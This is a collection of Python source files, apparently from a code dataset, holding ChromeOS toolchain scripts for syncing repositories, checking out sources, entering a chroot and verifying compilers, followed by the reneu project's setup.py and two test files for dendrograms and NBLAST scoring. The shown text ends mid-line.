'pwd' command += '&& git checkout %s' % self.branch else: command = 'git symbolic-ref HEAD refs/heads/%s' % self.branch command += '&& rm -rf *' ret = self._ce.RunCommand(command) return ret def CommitLocally(self, commit_message=None, message_file=None): with misc.WorkingDirectory(self._root_dir): command = 'pwd' for ignore in self.ignores: command += '&& echo \'%s\' >> .git/info/exclude' % ignore command += '&& git add -Av .' if message_file: message_arg = '-F %s' % message_file elif commit_message: message_arg = '-m \'%s\'' % commit_message else: raise RuntimeError('No commit message given!') command += '&& git commit -v %s' % message_arg return self._ce.RunCommand(command) def PushSources(self, commit_message=None, dry_run=False, message_file=None): ret = self.CommitLocally(commit_message, message_file) if ret: return ret push_args = '' if dry_run: push_args += ' -n ' with misc.WorkingDirectory(self._root_dir): if self.gerrit: label = 'somelabel' command = 'git remote add %s %s' % (label, self.address) command += ('&& git push %s %s HEAD:refs/for/master' % (push_args, label)) else: command = 'git push -v %s origin %s:%s' % (push_args, self.branch, self.branch) ret = self._ce.RunCommand(command) return ret def MapSources(self, root_dir): if not self.mappings: self._RsyncExcludingRepoDirs(self._root_dir, root_dir) return with misc.WorkingDirectory(self._root_dir): for mapping in self.mappings: remote_path, local_path = SplitMapping(mapping) remote_path.rstrip('...') local_path.rstrip('...') full_local_path = os.path.join(root_dir, local_path) ret = self._RsyncExcludingRepoDirs(remote_path, full_local_path) if ret: return ret return 0 class RepoReader(object): """Class for reading repositories.""" def __init__(self, filename): self.filename = filename self.main_dict = {} self.input_repos = [] self.output_repos = [] def ParseFile(self): with open(self.filename) as f: self.main_dict = json.load(f) self.CreateReposFromDict(self.main_dict) return [self.input_repos, self.output_repos] def CreateReposFromDict(self, main_dict): for key, repo_list in main_dict.items(): for repo_dict in repo_list: repo = self.CreateRepoFromDict(repo_dict) if key == 'input': self.input_repos.append(repo) elif key == 'output': self.output_repos.append(repo) else: logger.GetLogger().LogFatal('Unknown key: %s found' % key) def CreateRepoFromDict(self, repo_dict): repo_type = repo_dict.get('type', None) repo_address = repo_dict.get('address', None) repo_mappings = repo_dict.get('mappings', None) repo_ignores = repo_dict.get('ignores', None) repo_branch = repo_dict.get('branch', None) gerrit = repo_dict.get('gerrit', None) revision = repo_dict.get('revision', None) if repo_type == 'p4': repo = P4Repo(repo_address, repo_mappings, revision=revision) elif repo_type == 'svn': repo = SvnRepo(repo_address, repo_mappings) elif repo_type == 'git': repo = GitRepo( repo_address, repo_branch, mappings=repo_mappings, ignores=repo_ignores, gerrit=gerrit) elif repo_type == 'file': repo = FileRepo(repo_address) else: logger.GetLogger().LogFatal('Unknown repo type: %s' % repo_type) return repo @logger.HandleUncaughtExceptions def Main(argv): parser = argparse.ArgumentParser() parser.add_argument( '-i', '--input_file', dest='input_file', help='The input file that contains repo descriptions.') parser.add_argument( '-n', '--dry_run', dest='dry_run', action='store_true', default=False, help='Do a dry run of the push.') parser.add_argument( '-F', '--message_file', dest='message_file', default=None, help=('Use contents of the log file as the commit ' 'message.')) options = parser.parse_args(argv) if not options.input_file: parser.print_help() return 1 rr = RepoReader(options.input_file) [input_repos, output_repos] = rr.ParseFile() # Make sure FileRepo is not used as output destination. for output_repo in output_repos: if output_repo.repo_type == 'file': logger.GetLogger().LogFatal( 'FileRepo is only supported as an input repo.') for output_repo in output_repos: ret = output_repo.SetupForPush() if ret: return ret input_revisions = [] for input_repo in input_repos: ret = input_repo.PullSources() if ret: return ret input_revisions.append(input_repo.revision) for input_repo in input_repos: for output_repo in output_repos: ret = input_repo.MapSources(output_repo.GetRoot()) if ret: return ret commit_message = 'Synced repos to: %s' % ','.join(input_revisions) for output_repo in output_repos: ret = output_repo.PushSources( commit_message=commit_message, dry_run=options.dry_run, message_file=options.message_file) if ret: return ret if not options.dry_run: for output_repo in output_repos: output_repo.CleanupRoot() for input_repo in input_repos: input_repo.CleanupRoot() return ret if __name__ == '__main__': retval = Main(sys.argv[1:]) sys.exit(retval) ``` #### File: jingpad-bsp/android_external_toolchain-utils/setup_chromeos.py ```python from __future__ import print_function __author__ = '<EMAIL> (<NAME>)' from datetime import datetime import argparse import os import pickle import sys import tempfile import time from cros_utils import command_executer from cros_utils import logger from cros_utils import manifest_versions GCLIENT_FILE = """solutions = [ { "name" : "CHROME_DEPS", "url" : "svn://svn.chromium.org/chrome-internal/trunk/tools/buildspec/releases/%s", "custom_deps" : { "src/third_party/WebKit/LayoutTests": None, "src-pdf": None, "src/pdf": None, }, "safesync_url": "", }, ] """ # List of stable versions used for common team image # Sheriff must update this list when a new common version becomes available COMMON_VERSIONS = '/home/mobiletc-prebuild/common_images/common_list.txt' def Usage(parser): parser.print_help() sys.exit(0) # Get version spec file, either from "paladin" or "buildspec" directory. def GetVersionSpecFile(version, versions_git): temp = tempfile.mkdtemp() commands = ['cd {0}'.format(temp), \ 'git clone {0} versions'.format(versions_git)] cmd_executer = command_executer.GetCommandExecuter() ret = cmd_executer.RunCommands(commands) err_msg = None if ret: err_msg = 'Failed to checkout versions_git - {0}'.format(versions_git) ret = None else: v, m = version.split('.', 1) paladin_spec = 'paladin/buildspecs/{0}/{1}.xml'.format(v, m) generic_spec = 'buildspecs/{0}/{1}.xml'.format(v, m) paladin_path = '{0}/versions/{1}'.format(temp, paladin_spec) generic_path = '{0}/versions/{1}'.format(temp, generic_spec) if os.path.exists(paladin_path): ret = paladin_spec elif os.path.exists(generic_path): ret = generic_spec else: err_msg = 'No spec found for version {0}'.format(version) ret = None # Fall through to clean up. commands = ['rm -rf {0}'.format(temp)] cmd_executer.RunCommands(commands) if err_msg: logger.GetLogger().LogFatal(err_msg) return ret def TimeToCommonVersion(timestamp): """Convert timestamp to common image version.""" tdt = datetime.fromtimestamp(float(timestamp)) with open(COMMON_VERSIONS, 'r') as f: common_list = pickle.load(f) for sv in common_list: sdt = datetime.strptime(sv['date'], '%Y-%m-%d %H:%M:%S.%f') if tdt >= sdt: return '%s.%s' % (sv['chrome_major_version'], sv['chromeos_version']) # should never reach here logger.GetLogger().LogFatal('No common version for timestamp') return None def Main(argv): """Checkout the ChromeOS source.""" parser = argparse.ArgumentParser() parser.add_argument( '--dir', dest='directory', help='Target directory for ChromeOS installation.') parser.add_argument( '--version', dest='version', default='latest_lkgm', help="""ChromeOS version. Can be: (1) A release version in the format: 'X.X.X.X' (2) 'top' for top of trunk (3) 'latest_lkgm' for the latest lkgm version (4) 'lkgm' for the lkgm release before timestamp (5) 'latest_common' for the latest team common stable version (6) 'common' for the team common stable version before timestamp Default is 'latest_lkgm'.""") parser.add_argument( '--timestamp', dest='timestamp', default=None, help='Timestamps in epoch format. It will check out the' 'latest LKGM or the latest COMMON version of ChromeOS' ' before the timestamp. Use in combination with' ' --version=latest or --version=common. Use ' '"date -d <date string> +%s" to find epoch time') parser.add_argument( '--minilayout', dest='minilayout', default=False, action='store_true', help='Whether to checkout the minilayout (smaller ' 'checkout).') parser.add_argument( '--jobs', '-j', dest='jobs', help='Number of repo sync threads to use.') parser.add_argument( '--public', '-p', dest='public', default=False, action='store_true', help='Use the public checkout instead of the private ' 'one.') options = parser.parse_args(argv) if not options.version: parser.print_help() logger.GetLogger().LogFatal('No version specified.') else: version = options.version.strip() if not options.timestamp: timestamp = '' else: timestamp = options.timestamp.strip() if version not in ('lkgm', 'common'): parser.print_help() logger.GetLogger().LogFatal('timestamp option only applies for ' "versions \"lkgm\" or \"common\"") if not options.directory: parser.print_help() logger.GetLogger().LogFatal('No directory specified.') directory = options.directory.strip() if options.public: manifest_repo = 'https://chromium.googlesource.com/chromiumos/manifest.git' versions_repo = ('https://chromium.googlesource.com/' 'chromiumos/manifest-versions.git') else: manifest_repo = ('https://chrome-internal.googlesource.com/chromeos/' 'manifest-internal.git') versions_repo = ('https://chrome-internal.googlesource.com/chromeos/' 'manifest-versions.git') if version == 'top': init = 'repo init -u %s' % manifest_repo elif version == 'latest_lkgm': manifests = manifest_versions.ManifestVersions() version = manifests.TimeToVersionChromeOS(time.mktime(time.gmtime())) version, manifest = version.split('.', 1) logger.GetLogger().LogOutput('found version %s.%s for latest LKGM' % (version, manifest)) init = ('repo init -u %s -m paladin/buildspecs/%s/%s.xml' % (versions_repo, version, manifest)) del manifests elif version == 'lkgm': if not timestamp: parser.print_help() logger.GetLogger().LogFatal('No timestamp specified for version=lkgm') manifests = manifest_versions.ManifestVersions() version = manifests.TimeToVersion(timestamp) version, manifest = version.split('.', 1) logger.GetLogger().LogOutput( 'found version %s.%s for LKGM at timestamp %s' % (version, manifest, timestamp)) init = ('repo init -u %s -m paladin/buildspecs/%s/%s.xml' % (versions_repo, version, manifest)) del manifests elif version == 'latest_common': version = TimeToCommonVersion(time.mktime(time.gmtime())) version, manifest = version.split('.', 1) logger.GetLogger().LogOutput('found version %s.%s for latest Common image' % (version, manifest)) init = ('repo init -u %s -m buildspecs/%s/%s.xml' % (versions_repo, version, manifest)) elif version == 'common': if not timestamp: parser.print_help() logger.GetLogger().LogFatal('No timestamp specified for version=lkgm') version = TimeToCommonVersion(timestamp) version, manifest = version.split('.', 1) logger.GetLogger().LogOutput('found version %s.%s for latest common image ' 'at timestamp %s' % (version, manifest, timestamp)) init = ('repo init -u %s -m buildspecs/%s/%s.xml' % (versions_repo, version, manifest)) else: # user specified a specific version number version_spec_file = GetVersionSpecFile(version, versions_repo) if not version_spec_file: return 1 init = 'repo init -u %s -m %s' % (versions_repo, version_spec_file) if options.minilayout: init += ' -g minilayout' init += ' --repo-url=https://chromium.googlesource.com/external/repo.git' # crosbug#31837 - "Sources need to be world-readable to properly # function inside the chroot" sync = 'umask 022 && repo sync' if options.jobs: sync += ' -j %s' % options.jobs commands = ['mkdir -p %s' % directory, 'cd %s' % directory, init, sync] cmd_executer = command_executer.GetCommandExecuter() ret = cmd_executer.RunCommands(commands) if ret: return ret return cmd_executer.RunCommand( 'git ls-remote ' 'https://chrome-internal.googlesource.com/chrome/src-internal.git ' '> /dev/null') if __name__ == '__main__': retval = Main(sys.argv[1:]) sys.exit(retval) ``` #### File: jingpad-bsp/android_external_toolchain-utils/tc_enter_chroot.py ```python from __future__ import print_function __author__ = '<EMAIL> (<NAME>)' import argparse import getpass import os import pwd import sys from cros_utils import command_executer from cros_utils import logger from cros_utils import misc class MountPoint(object): """Mount point class""" def __init__(self, external_dir, mount_dir, owner, options=None): self.external_dir = os.path.realpath(external_dir) self.mount_dir = os.path.realpath(mount_dir) self.owner = owner self.options = options def CreateAndOwnDir(self, dir_name): retv = 0 if not os.path.exists(dir_name): command = 'mkdir -p ' + dir_name command += ' || sudo mkdir -p ' + dir_name retv = command_executer.GetCommandExecuter().RunCommand(command) if retv != 0: return retv pw = pwd.getpwnam(self.owner) if os.stat(dir_name).st_uid != pw.pw_uid: command = 'sudo chown -f ' + self.owner + ' ' + dir_name retv = command_executer.GetCommandExecuter().RunCommand(command) return retv def DoMount(self): ce = command_executer.GetCommandExecuter() mount_signature = '%s on %s' % (self.external_dir, self.mount_dir) command = 'mount' retv, out, _ = ce.RunCommandWOutput(command) if mount_signature not in out: retv = self.CreateAndOwnDir(self.mount_dir) logger.GetLogger().LogFatalIf(retv, 'Cannot create mount_dir!') retv = self.CreateAndOwnDir(self.external_dir) logger.GetLogger().LogFatalIf(retv, 'Cannot create external_dir!') retv = self.MountDir() logger.GetLogger().LogFatalIf(retv, 'Cannot mount!') return retv else: return 0 def UnMount(self): ce = command_executer.GetCommandExecuter() return ce.RunCommand('sudo umount %s' % self.mount_dir) def MountDir(self): command = 'sudo mount --bind ' + self.external_dir + ' ' + self.mount_dir if self.options == 'ro': command += ' && sudo mount --bind -oremount,ro ' + self.mount_dir retv = command_executer.GetCommandExecuter().RunCommand(command) return retv def __str__(self): ret = '' ret += self.external_dir + '\n' ret += self.mount_dir + '\n' if self.owner: ret += self.owner + '\n' if self.options: ret += self.options + '\n' return ret def Main(argv, return_output=False): """The main function.""" parser = argparse.ArgumentParser() parser.add_argument( '-c', '--chromeos_root', dest='chromeos_root', default='../..', help='ChromeOS root checkout directory.') parser.add_argument( '-t', '--toolchain_root', dest='toolchain_root', help='Toolchain root directory.') parser.add_argument( '-o', '--output', dest='output', help='Toolchain output directory') parser.add_argument( '--sudo', dest='sudo', action='store_true', default=False, help='Run the command with sudo.') parser.add_argument( '-r', '--third_party', dest='third_party', help='The third_party directory to mount.') parser.add_argument( '-m', '--other_mounts', dest='other_mounts', help='Other mount points in the form: ' 'dir:mounted_dir:options') parser.add_argument( '-s', '--mount-scripts-only', dest='mount_scripts_only', action='store_true', default=False, help='Mount only the scripts dir, and not the sources.') parser.add_argument( 'passthrough_argv', nargs='*', help='Command to be executed inside the chroot.') options = parser.parse_args(argv) chromeos_root = options.chromeos_root chromeos_root = os.path.expanduser(chromeos_root) if options.toolchain_root: options.toolchain_root = os.path.expanduser(options.toolchain_root) chromeos_root = os.path.abspath(chromeos_root) tc_dirs = [] if options.toolchain_root is None or options.mount_scripts_only: m = 'toolchain_root not specified. Will not mount toolchain dirs.' logger.GetLogger().LogWarning(m) else: tc_dirs = [ options.toolchain_root + '/google_vendor_src_branch/gcc', options.toolchain_root + '/google_vendor_src_branch/binutils' ] for tc_dir in tc_dirs: if not os.path.exists(tc_dir): logger.GetLogger().LogError('toolchain path ' + tc_dir + ' does not exist!') parser.print_help() sys.exit(1) if not os.path.exists(chromeos_root): logger.GetLogger().LogError('chromeos_root ' + options.chromeos_root + ' does not exist!') parser.print_help() sys.exit(1) if not os.path.exists(chromeos_root + '/src/scripts/build_packages'): logger.GetLogger().LogError(options.chromeos_root + '/src/scripts/build_packages' ' not found!') parser.print_help() sys.exit(1) version_dir = os.path.realpath(os.path.expanduser(os.path.dirname(__file__))) mounted_tc_root = '/usr/local/toolchain_root' full_mounted_tc_root = chromeos_root + '/chroot/' + mounted_tc_root full_mounted_tc_root = os.path.abspath(full_mounted_tc_root) mount_points = [] for tc_dir in tc_dirs: last_dir = misc.GetRoot(tc_dir)[1] mount_point = MountPoint(tc_dir, full_mounted_tc_root + '/' + last_dir, getpass.getuser(), 'ro') mount_points.append(mount_point) # Add the third_party mount point if it exists if options.third_party: third_party_dir = options.third_party logger.GetLogger().LogFatalIf(not os.path.isdir(third_party_dir), '--third_party option is not a valid dir.') else: third_party_dir = os.path.abspath( '%s/../../../third_party' % os.path.dirname(__file__)) if os.path.isdir(third_party_dir): mount_point = MountPoint(third_party_dir, ('%s/%s' % (full_mounted_tc_root, os.path.basename(third_party_dir))), getpass.getuser()) mount_points.append(mount_point) output = options.output if output is None and options.toolchain_root: # Mount the output directory at /usr/local/toolchain_root/output output = options.toolchain_root + '/output' if output: mount_points.append( MountPoint(output, full_mounted_tc_root + '/output', getpass.getuser())) # Mount the other mount points mount_points += CreateMountPointsFromString(options.other_mounts, chromeos_root + '/chroot/') last_dir = misc.GetRoot(version_dir)[1] # Mount the version dir (v14) at /usr/local/toolchain_root/v14 mount_point = MountPoint(version_dir, full_mounted_tc_root + '/' + last_dir, getpass.getuser()) mount_points.append(mount_point) for mount_point in mount_points: retv = mount_point.DoMount() if retv != 0: return retv # Finally, create the symlink to build-gcc. command = 'sudo chown ' + getpass.getuser() + ' ' + full_mounted_tc_root retv = command_executer.GetCommandExecuter().RunCommand(command) try: CreateSymlink(last_dir + '/build-gcc', full_mounted_tc_root + '/build-gcc') CreateSymlink(last_dir + '/build-binutils', full_mounted_tc_root + '/build-binutils') except Exception as e: logger.GetLogger().LogError(str(e)) # Now call cros_sdk --enter with the rest of the arguments. command = 'cd %s/src/scripts && cros_sdk --enter' % chromeos_root if len(options.passthrough_argv) > 1: inner_command = ' '.join(options.passthrough_argv[1:]) inner_command = inner_command.strip() if inner_command.startswith('-- '): inner_command = inner_command[3:] command_file = 'tc_enter_chroot.cmd' command_file_path = chromeos_root + '/src/scripts/' + command_file retv = command_executer.GetCommandExecuter().RunCommand( 'sudo rm -f ' + command_file_path) if retv != 0: return retv f = open(command_file_path, 'w') f.write(inner_command) f.close() logger.GetLogger().LogCmd(inner_command) retv = command_executer.GetCommandExecuter().RunCommand( 'chmod +x ' + command_file_path) if retv != 0: return retv if options.sudo: command += ' sudo ./' + command_file else: command += ' ./' + command_file retv = command_executer.GetCommandExecuter().RunCommandGeneric( command, return_output) return retv else: os.chdir('%s/src/scripts' % chromeos_root) ce = command_executer.GetCommandExecuter() _, out, _ = ce.RunCommandWOutput('which cros_sdk') cros_sdk_binary = out.split()[0] return os.execv(cros_sdk_binary, ['', '--enter']) def CreateMountPointsFromString(mount_strings, chroot_dir): # String has options in the form dir:mount:options mount_points = [] if not mount_strings: return mount_points mount_list = mount_strings.split() for mount_string in mount_list: mount_values = mount_string.split(':') external_dir = mount_values[0] mount_dir = mount_values[1] if len(mount_values) > 2: options = mount_values[2] else: options = None mount_point = MountPoint(external_dir, chroot_dir + '/' + mount_dir, getpass.getuser(), options) mount_points.append(mount_point) return mount_points def CreateSymlink(target, link_name): logger.GetLogger().LogFatalIf( target.startswith('/'), "Can't create symlink to absolute path!") real_from_file = misc.GetRoot(link_name)[0] + '/' + target if os.path.realpath(real_from_file) != os.path.realpath(link_name): if os.path.exists(link_name): command = 'rm -rf ' + link_name command_executer.GetCommandExecuter().RunCommand(command) os.symlink(target, link_name) if __name__ == '__main__': retval = Main(sys.argv) sys.exit(retval) ``` #### File: jingpad-bsp/android_external_toolchain-utils/verify_compiler.py ```python from __future__ import print_function import argparse import fnmatch import os import sys from cros_utils import command_executer COMPILERS = ['gcc', 'clang'] COMPILER_STRINGS = {'gcc': 'GNU C', 'clang': 'clang version'} ERR_NO_DEBUG_INFO = 1024 def UsageError(parser, message): """Output error message and help/usage info.""" print('ERROR: %s' % message) parser.print_help() sys.exit(0) def CreateTmpDwarfFile(filename, dwarf_file, cmd_executer): """Create temporary dwarfdump file, to be parsed later.""" cmd = ('readelf --debug-dump=info %s | grep -A5 DW_AT_producer > %s' % (filename, dwarf_file)) retval = cmd_executer.RunCommand(cmd, print_to_console=False) return retval def FindAllFiles(root_dir): """Create a list of all the *.debug and *.dwp files to be checked.""" file_list = [] tmp_list = [ os.path.join(dirpath, f) for dirpath, _, files in os.walk(root_dir) for f in fnmatch.filter(files, '*.debug') ] for f in tmp_list: if 'build-id' not in f: file_list.append(f) tmp_list = [ os.path.join(dirpath, f) for dirpath, _, files in os.walk(root_dir) for f in fnmatch.filter(files, '*.dwp') ] file_list += tmp_list return file_list def VerifyArgs(compiler, filename, tmp_dir, root_dir, options, parser): """Verify that the option values and combinations are valid.""" if options.filename and options.all_files: UsageError(parser, 'Cannot use both --file and --all_files.') if options.filename and options.root_dir: UsageError(parser, 'Cannot use both --file and --root_dir.') if options.all_files and not options.root_dir: UsageError(parser, 'Missing --root_dir option.') if options.root_dir and not options.all_files: UsageError(parser, 'Missing --all_files option.') if not options.filename and not options.all_files: UsageError(parser, 'Must specify either --file or --all_files.') # Verify that the values specified are valid. if filename: if not os.path.exists(filename): UsageError(parser, 'Cannot find %s' % filename) compiler = options.compiler.lower() if compiler not in COMPILERS: UsageError(parser, '%s is not a valid compiler (gcc or clang).' % compiler) if root_dir and not os.path.exists(root_dir): UsageError(parser, '%s does not exist.' % root_dir) if not os.path.exists(tmp_dir): os.makedirs(tmp_dir) def CheckFile(filename, compiler, tmp_dir, options, cmd_executer): """Verify the information in a single file.""" print('Checking %s' % filename) # Verify that file contains debug information. cmd = 'readelf -SW %s | grep debug_info' % filename retval = cmd_executer.RunCommand(cmd, print_to_console=False) if retval != 0: print('No debug info in this file. Unable to verify compiler.') # There's no debug info in this file, so skip it. return ERR_NO_DEBUG_INFO tmp_name = os.path.basename(filename) + '.dwarf' dwarf_file = os.path.join(tmp_dir, tmp_name) status = CreateTmpDwarfFile(filename, dwarf_file, cmd_executer) if status != 0: print('Unable to create dwarf file for %s (status: %d).' % (filename, status)) return status comp_str = COMPILER_STRINGS[compiler] retval = 0 with open(dwarf_file, 'r') as in_file: lines = in_file.readlines() looking_for_name = False for line in lines: if 'DW_AT_producer' in line: looking_for_name = False if 'GNU AS' in line: continue if comp_str not in line: looking_for_name = True retval = 1 elif looking_for_name: if 'DW_AT_name' in line: words = line.split(':') bad_file = words[-1] print('FAIL: %s was not compiled with %s.' % (bad_file.rstrip(), compiler)) looking_for_name = False elif 'DW_TAG_' in line: looking_for_name = False if not options.keep_file: os.remove(dwarf_file) return retval def Main(argv): cmd_executer = command_executer.GetCommandExecuter() parser = argparse.ArgumentParser() parser.add_argument( '--file', dest='filename', help='Name of file to be verified.') parser.add_argument( '--compiler', dest='compiler', required=True, help='Desired compiler (gcc or clang)') parser.add_argument( '--tmp_dir', dest='tmp_dir', help='Directory in which to put dwarf dump file.' ' Defaults to /tmp') parser.add_argument( '--keep_file', dest='keep_file', default=False, action='store_true', help='Do not delete dwarf file when done.') parser.add_argument( '--all_files', dest='all_files', default=False, action='store_true', help='Find and check ALL .debug/.dwp files ' 'in subtree. Must be used with --root_dir ' '(and NOT with --file).') parser.add_argument( '--root_dir', dest='root_dir', help='Root of subtree in which to look for ' 'files. Must be used with --all_files, and' ' not with --file.') options = parser.parse_args(argv) compiler = options.compiler filename = None if options.filename: filename = os.path.realpath(os.path.expanduser(options.filename)) tmp_dir = '/tmp' if options.tmp_dir: tmp_dir = os.path.realpath(os.path.expanduser(options.tmp_dir)) root_dir = None if options.root_dir: root_dir = os.path.realpath(os.path.expanduser(options.root_dir)) VerifyArgs(compiler, filename, tmp_dir, root_dir, options, parser) file_list = [] if filename: file_list.append(filename) else: file_list = FindAllFiles(root_dir) bad_files = [] unknown_files = [] all_pass = True for f in file_list: result = CheckFile(f, compiler, tmp_dir, options, cmd_executer) if result == ERR_NO_DEBUG_INFO: unknown_files.append(f) all_pass = False elif result != 0: bad_files.append(f) all_pass = False if all_pass: print('\n\nSUCCESS: All compilation units were compiled with %s.\n' % compiler) return 0 else: if len(bad_files) == 0: print( '\n\n*Mostly* SUCCESS: All files that could be checked were compiled ' 'with %s.' % compiler) print( '\n\nUnable to verify the following files (no debug info in them):\n') for f in unknown_files: print(f) else: print('\n\nFAILED: The following files were not compiled with %s:\n' % compiler) for f in bad_files: print(f) if len(unknown_files) > 0: print('\n\nUnable to verify the following files (no debug info in ' 'them):\n') for f in unknown_files: print(f) return 1 if __name__ == '__main__': sys.exit(Main(sys.argv[1:])) ```
{ "source": "jingpengw/reneu", "score": 2 }
#### File: jingpengw/reneu/setup.py ```python import os import re import sys import platform import subprocess import numpy as np from setuptools import setup, find_packages, Extension from setuptools.command.build_ext import build_ext from distutils.version import LooseVersion os.environ['NUMPY_INCLUDE_DIR'] = np.get_include() PACKAGE_DIR = os.path.dirname(os.path.abspath(__file__)) with open(os.path.join(PACKAGE_DIR, 'requirements.txt')) as f: requirements = f.read().splitlines() requirements = [l for l in requirements if not l.startswith('#')] with open("README.md", "r") as fh: long_description = fh.read() VERSIONFILE = os.path.join(PACKAGE_DIR, "python/reneu/__version__.py") verstrline = open(VERSIONFILE, "rt").read() VSRE = r"^__version__ = ['\"]([^'\"]*)['\"]" mo = re.search(VSRE, verstrline, re.M) if mo: version = mo.group(1) else: raise RuntimeError("Unable to find version string in %s." % (VERSIONFILE, )) class CMakeExtension(Extension): def __init__(self, name, sourcedir=''): Extension.__init__(self, name, sources=[]) self.sourcedir = os.path.abspath(sourcedir) class CMakeBuild(build_ext): def run(self): try: out = subprocess.check_output(['cmake', '--version']) except OSError: raise RuntimeError("CMake must be installed to build the following extensions: " + ", ".join(e.name for e in self.extensions)) if platform.system() == "Windows": cmake_version = LooseVersion(re.search(r'version\s*([\d.]+)', out.decode()).group(1)) if cmake_version < '3.12.0': raise RuntimeError("CMake >= 3.12.0 is required on Windows") for ext in self.extensions: self.build_extension(ext) def build_extension(self, ext): extdir = os.path.abspath(os.path.dirname(self.get_ext_fullpath(ext.name))) # required for auto-detection of auxiliary "native" libs if not extdir.endswith(os.path.sep): extdir += os.path.sep cmake_args = [ '-DCMAKE_PREFIX_PATH=' + os.environ['CONDA_PREFIX'], '-DCMAKE_LIBRARY_OUTPUT_DIRECTORY=' + extdir, '-DPYTHON_EXECUTABLE=' + sys.executable ] cfg = 'Debug' if self.debug else 'Release' build_args = ['--config', cfg] if platform.system() == "Windows": cmake_args += ['-DCMAKE_LIBRARY_OUTPUT_DIRECTORY_{}={}'.format(cfg.upper(), extdir)] if sys.maxsize > 2**32: cmake_args += ['-A', 'x64'] build_args += ['--', '/m'] else: cmake_args += ['-DCMAKE_BUILD_TYPE=' + cfg] build_args += ['--', f'-j{os.cpu_count()//2}'] env = os.environ.copy() env['LIBRARY_OUTPUT_DIRECTORY'] = self.build_temp env['CMAKE_RUNTIME_OUTPUT_DIRECTORY_DEBUG'] = self.build_temp env['CMAKE_RUNTIME_OUTPUT_DIRECTORY_RELEASE'] = self.build_temp env['CXXFLAGS'] = '{} -DVERSION_INFO=\\"{}\\"'.format(env.get('CXXFLAGS', ''), self.distribution.get_version()) if not os.path.exists(self.build_temp): os.makedirs(self.build_temp) subprocess.check_call(['cmake', ext.sourcedir] + cmake_args, cwd=self.build_temp, env=env) subprocess.check_call(['cmake', '--build', '.'] + build_args, cwd=self.build_temp) setup( name='reneu', description='computation for real neural networks.', long_description=long_description, long_description_content_type="text/markdown", license='Apache License 2.0', version=version, author='<NAME>', author_email='<EMAIL>', packages=find_packages(exclude=['tests', 'build', 'reneu.egg-info', 'data']), url='https://github.com/jingpengw/reneu', install_requires=requirements, tests_require=[ 'pytest', ], ext_modules=[CMakeExtension('libreneu', sourcedir='./cpp')], cmdclass=dict(build_ext=CMakeBuild), classifiers=[ 'Environment :: Console', 'Intended Audience :: End Users/Desktop', 'Intended Audience :: Developers', "License :: OSI Approved :: Apache Software License", "Operating System :: OS Independent", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", "Programming Language :: Python :: 3.8", "Programming Language :: Python :: 3.9", ], python_requires='>=3', zip_safe=False, ) ``` #### File: tests/segmentation/test_dendrogram.py ```python import pickle import numpy as np np.random.seed(0) from reneu.lib.segmentation import Dendrogram def test_dendrogram(): dend1 = Dendrogram(0.01) dend1.push_edge(1,2,0.1) dend2 = Dendrogram(0.3) dend2.push_edge(2,3,0.4) dend1.merge(dend2) print('dendrogram after merging:', dend1) print('as array: \n', dend1.array) dsets = dend1.to_disjoint_sets(0.2) # root = dsets.find_set(2) dend1.split_objects(0.1, set({2}), 0.3) print('test serialization...') data = pickle.dumps(dend1) # print('bytes of dendrogram 1 : ', data) dend3 = pickle.loads(data) data3 = pickle.dumps(dend3) # print('bytes of dendrogram 3: ', data3) assert data == data3 print('test keep contacting edges...') # make sure that the internal chunk do not have the same segment id of out side one. seg = np.random.randint(20, dtype=np.uint64, size=(64,64,64)) margin_size = (8, 8, 8) inner_chunk = seg[ margin_size[0]:-margin_size[0], margin_size[1]:-margin_size[1], margin_size[2]:-margin_size[2], ] inner_chunk[inner_chunk>0] += 20 dend1.push_edge(22, 21, 0.4) # dend1.print() assert dend1.edge_num == 2 dend1.keep_only_contacting_edges(seg, margin_size) # dend1.print() assert dend1.edge_num == 1 ``` #### File: reneu/tests/test_nblast.py ```python import faulthandler faulthandler.enable() import os # import pickle import numpy as np from math import isclose from copy import deepcopy from time import time from reneu.lib.skeleton import XNBLASTScoreTable from reneu.lib.skeleton import XVectorCloud, XNBLASTScoreMatrix from reneu.skeleton import Skeleton DATA_DIR = os.path.join(os.path.dirname(__file__), '../data/') #DATA_DIR = 'data/' table_path = os.path.join(DATA_DIR, 'smat_fcwb.csv') print('table path: ', table_path) assert os.path.exists(table_path) st = XNBLASTScoreTable( table_path ) # equivalent expression st = XNBLASTScoreTable() def test_nblast_score_table(): assert isclose(st[0., 0.], 9.500096818, abs_tol=1e-4) assert isclose(st[50000, 0.93], -10.1287588679926, abs_tol=1e-4) assert isclose(st[26000, 0.73], -2.70184701924541, abs_tol=1e-4) assert isclose(st[11000, 0.62], 0.28008292141423, abs_tol=1e-4) # test the boundary condition assert isclose(st[1800, 0.38], 8.23731427922735, abs_tol=1e-4) assert isclose(st[15976.5, 1], -0.892506, abs_tol=1e-4) assert isclose(st[16011.2, 1], -1.31413, abs_tol=1e-4) assert isclose(st[15000, 1], -0.892505829, abs_tol=1e-4) def test_nblast_with_fake_data(): point_num = 100 points = np.zeros((point_num, 3), dtype=np.float32) points[:, 2] = np.arange(0, point_num) vc = XVectorCloud(points, 10, 2) # use version 2 of pickle # this is not working because kdtree is not pickleable # data = pickle.dumps(vc, 2) true_vectors = np.repeat(np.array([[0,0,1]]), point_num, axis=0 ) fake_vectors = deepcopy(vc.vectors) # there is a mixture of 1 and -1, both are correct fake_vectors[:, 2] = np.abs(fake_vectors[:, 2]) # print('\nvector cloud: ', vc.vectors) # print('\ntrue vector cloud: ', true_vectors) np.testing.assert_allclose(fake_vectors, true_vectors, atol=1e-4) points2 = deepcopy(points) points2[:, 0] += 15000 vc2 = XVectorCloud(points2, 10, 10) fake_vectors = deepcopy(vc.vectors) # there is a mixture of 1 and -1, both are correct fake_vectors[:, 2] = np.abs(fake_vectors[:, 2]) np.testing.assert_allclose(fake_vectors, true_vectors, atol=1e-4) score = vc.query_by(vc2, st) assert isclose(-0.892506 * point_num, score, rel_tol=1e-2) def test_nblast_with_real_data(): print('\n\n start testing nblast with real data.') # the result from R NBLAST is : # ID 77625 77641 # 77625 86501.20 53696.72 # 77641 50891.03 101011.08 # Note that R NBLAST use micron as unit, and our NBLAST use nanometer neuronId1 = 77625 neuronId2 = 77641 sk1 = Skeleton.from_swc( os.path.join(DATA_DIR, f'{neuronId1}.swc') ) sk2 = Skeleton.from_swc( os.path.join(DATA_DIR, f'{neuronId2}.swc') ) print(f'node number of two neurons: {len(sk1)}, {len(sk2)}') print('building vector cloud') start = time() vc1 = 